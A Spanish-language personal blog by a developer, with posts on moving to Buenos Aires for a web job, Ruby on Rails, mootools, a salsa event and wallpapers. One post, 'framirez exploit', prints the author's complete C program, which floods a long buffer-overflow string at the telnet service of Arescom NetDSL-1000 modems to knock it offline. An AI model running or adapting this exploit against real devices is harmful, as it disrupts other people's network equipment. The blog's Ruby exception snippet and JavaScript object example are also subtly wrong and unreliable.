A Buenos Aires

Buenos Aires

Finalmente todo claro con mi  fecha de examenes donde estudio y demases y  coordinacion con mi nueva empresa que se llama Atobiz, ubicada en Palermo, Buenos Aires – Argentina, que es un grupo Holandes que hace lo que “amo”, el desarrollo de aplicaciones webs 2.0. Tendre que ponerme ingenieril para el asunto y hacer lo que antes he realizado en teoria, tale como digramas UML, procesos de   ingenieria para desarrollo web, etc.

Esta empresa es TOPISIMA encuentro, ya que tiene  clientes en el extranjero como:

  • MTV
  • Nickelodeon
  • Loreal Paris
  • Helena Rubistein
  • Elle

Respecto a mi viaje, me encanta viajar en Avion tramos cortos, vale decir maximo 3 horas de vuelo. He viajado con Aerolineas como:

  • Air France  
  • Iberia
  • Lan Chile

De todas las aerolineas hasta el momento, el mejor servicio lo he obtenido en el vuelo Santiago — Paris, donde las Fly attendants son de lo mejor.

En esta ocación tome el vuelo con una nueva compañia  brasileña llamada Gol. Esto se debio a que era lo mas barato para comprar el pasaje, 1 semana antes de partir a mi rumbo final que sera Buenos Aires.

El vuelo esta planificado para el dia Domingo 15 de Julio a las 13:15 en el vuelo  7453. Lo unico que no me gusto es :

  • 23 Kilos de equipaje … ¿ Como lo hare en llevarme toda mi ropa y demases?

La reserva en linea fue correcta y muy simple. Luego de viajar les dare detalles al respecto de esta linea aerea.

“Suerte en mi nuevo destino que sera Argentina, se que hay mucha gente nueva que encontrar y muchas experiencias nuevas que aprendere”.

Nos vemos el proximo año Chilito.

Cuales son los puntos fuertes de Ruby on Rails

Metaprogramacion

A travez de la metaprogramacion escribiremos codigos pequeños que aumentaran nuestra productividad.

Registro Activo

Rails introduce en su marco de trabajo el concepto “Active Record” o “Registro Activo” que guarda objetos y los almacena en base de datos. Un enfoque sencillo, elegante y muy productivo.

Scaffolding

Todas estas tediosas operaciones CRUD (Create, Read, Update y Delete) seran automaticamente generadas por nuestro framework.

Comprobacion Integrada

Realizaremos una comprobacion con el framework Junit, para ver la persistencia de los objetos y la integridad de estos una vez guardados en nuestro motor de base de datos.

Seguimos el patron de Ingenieria de Pruebas “Testings”.

Tres entornos de desarrollo: Desarrollo, Pruebas y Productividad

Cada entorno de desarrollo se comporta de manera ligeramente distinta, pero nos facilita el ciclo de vida del desarrollo de software.

Como definir una excepcion en Ruby on Rails

El bloque de codigo siguiente nos permite controlar una excepcion y olvidar esos mensajes “horribles” hacia el usuario:

rescue
# CODIGO

begin
# CODIGO EN CASO DE POSIBLE EXCEPCION

end

Saludos

Libro Ruby on Rails

Estoy de paso por Buenos Aires, y caminando por la calle central tipo paseo ahumada en Santiago, me encuentro con una gran libreria de venta de libros de todo tipo. Como yo soy medio geek para mis cosas, me fui directamente al area de Libros de Computacion, en donde a la primera vista me encuentro con un libro de Ruby on Rails, recien llegado a Argentina de la empresa de libros O’Reilly. Los autores de este libro son Bruce A. y Curt Hibbs. Me lo compre hoy y ya voy en la pagina 50.

QUE LINDO ES RUBY ON RAILS, Facil, Simple y MUY MUY MUY rapido para desarrollar.

Les contare en el proximo POST como me fue con este libro.

PD: Viajo y viajo y viajo :)

2do, Segundo encuentro salsero Temuco 2007

Segundo Encuentro Salsero

 

 

Temuco mambo 2007

9 y 10 de Junio

Lugar:

9 y 10 Junio Hotel La Frontera

Valor Full Pass $13.000

6 Talleres, 1 Mega fiesta, 10 instructores desde Santiago….
Gran Mega fiesta Inauguración, 9 de Junio Hotel la Frontera…
El mejor piso, el mejor sonido, mucha Salsa y los mejores Show desde Santiago
NO TE LO PUEDES PERDER!!!!!

Información:

www.salsa-mania.com

Como utilizar variables como funciones en Javascript?

En javascript actualmente utilizamos funciones para realizar todas las cosas, porque existen soportes para POO en Javascript pero noe s nativo, hay que trabajarlo a nivel de framework. Lo que la gente no sabe es que se pueden crear variable con funciones que vendrian siendo objetos emulados. Podriamos dar el siguiente ejemplo:

var alertas = {
hola1 : function() { alert('hola1'); };
hola2 : function() { alert('hola2'); }
}

LLamamos  a nuestra “VARIABLE OBJETUAL” de la forma alertas.hola1;

Saludos y a su imaginacion, recuerden que es el mismo paradigma de mootools.

mootools excelente framework para efectos JS y AJAX

Ayer dí­a Jueves, me quede hasta las  3  de la mañana programando  la  nueva version del sitio guruNET (Web 2.0 porsupuesto)  y me di cuenta que este framework es realmente buenisimo y completisimo, ya que con unas pocas lineas de codigo logré lo que con un framework normal me hubiera demorado un poco mas.

La unica complicación es la documentación existente, ya que una persona sin conocimientos de programacion objetual de programación IMPOSIBLE QUE PUEDA UTILIZAR EL FRAMEWORK

Les dejo una introduccion que traduje del sitio oficial, para ver si les da ganas de utilizar esta poderosa herramienta:

Efectos

Una de las maravillas de MT son los efectos, que al estar formados como metodos del propio objeto facilitan su utilización y sobretodo su comprensión. Una de las bazas para triunfar en informática es hacer las cosas fáciles de comprender, al ser cómodo de usar la gente lo usa, y los chicos de Mad4milk lo saben bastante bien. Simplemente extendiendo la clase Element disponen de los efectos de una forma bastante lógica, veamos un ejemplo.

var myEffect = $(‘myElement’).effect(‘height’, {duration: 1000, transition: fx.linear});

Asignamos a la variable myEffect el resultado de la aplicación de un efecto con la altura del elemento myElement, que dura 1000 milisegundos y la transición es lineal. De esta forma tán clara y fácil de comprender aplicamos un efecto a cualquier objeto que deseemos. Ahora solo nos queda ejecutarlo.

myEffect.custom(10, 100);

De esta forma lanzarí­amos el efecto sobre nuestro elemento, los parametros indicarán la posición inicial (10) del efecto y la final (100). O tambien podemos concatenerlo como lo hemos visto antes.

var myEffect = $(‘myElement’).effect(‘height’, {duration: 1000, transition: fx.linear}).custom(10, 100);

 

Saludos

framirez exploit

Bueno aca les presento un exploit en mi tiempo que era UNDERGROUND y hacker. La publicación fue realizada hace 1 año y medio aproximadamente, fue programada en C y fue para los modems Arescom NetDSL-1000.

 

Aca les dejo el trozo de codigo publicado por mi:

/*
      Do you want to hack? les`t go .. free your mind
      Tu veux etre un hacker? allez .. if faut libere ta tete!
      Quieres hackear? dale .. libera tu mente
     
      Vulnerabilidad en modem Arescom NetDSL-1000
      por un buffer overflow debido < [255] en la pila stack.
     
      DoS atack por Fabian Ramirez S. <framirez@akori.fr>  
           www.framirez.com
    If you flood the telnet configuration a couple dozen times with long
 strings, eventually the telnetd service flat out dies. Routing functions
 of the NetDSL continue to work fine as before. It is unknown whether only
 the telnetd service is affected, other means of remote configuration may
 have become unavailable as well.

 Remember:     KING
     
      Solo para fines educativos! (CREEEEEEO ZEEEEEEEEEEE)
*/

#include
#include
#include
#include
#include
#include              

#define PORT 23
#define MAXDATASIZE 100    

char shellcode[]= “\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1″
      “\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1″
      “\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1″
      “\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1″
      “\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1″
      “\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1″
      “\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1″
      “\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1″
      “\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1″
      “\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1″
      “\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1″
      “\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1″
      “\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1″
      “\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1″
      “\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1″
      “\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1″
      “\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1″
      “\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1″;

int main(int argc, char *argv[])
{
    int fd, numbytes,i;
    char buf[MAXDATASIZE];  
    struct hostent *he;                
    struct sockaddr_in server;  

    printf(“Exploit Arescom NetDSL-1000 executing\n”);
    printf (”         by framirez\n”);
   
    if (argc !=2) {
          printf(“Uso: %s \n”,argv[0]);
          exit(-1);
    }
     
    if ((he=gethostbyname(argv[1]))==NULL){            
          printf(“gethostbyname() error\n”);
          exit(-1);
    }

    if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1){  
          printf(“socket() error\n”);
          exit(-1);
    }

    server.sin_family = AF_INET;
    server.sin_port = htons(PORT);
    server.sin_addr = *((struct in_addr *)he->h_addr);  

    if(connect(fd, (struct sockaddr *)&server,
          sizeof(struct sockaddr))==-1){
          printf(“ERROR conectando al host\n”);
          exit(-1);
    }
         
      for (i=0;i<3;i++)
      {
      send(fd,shellcode,255,0);
      }
     
      printf (“Exploit enviado con EXITO al destinatario\n”);
      printf (”             by framirez\n”);

    close(fd);

  return 1;
}
 

Si no me creen coloquen el google “framirez exploit”

Saludos y buena navegación proximos hackers :)

Desktopography

Simplemente un lujo. Un compendio de 40 fondos de pantalla, todos filete primer corte. Diez a uno a que no te resistes a bajar uno y ponerlo en tu escritorio.

MiniAJAX.com

La siempre bien ponderada revista Mouse salió con este link. MiniAJAX es un sitio donde encontrarás un resumen de pequeños scripts útiles (y algunos no tanto) para amononar tu sitio o hacerlo más interactivo. Para ponerlo en los favoritos, por ahí­ cerca de Ajaxian.com.

dokshor.com (RSS) + Sator-ii theme by Felipe Lavín and finally edited by dokshor.

hacker emblem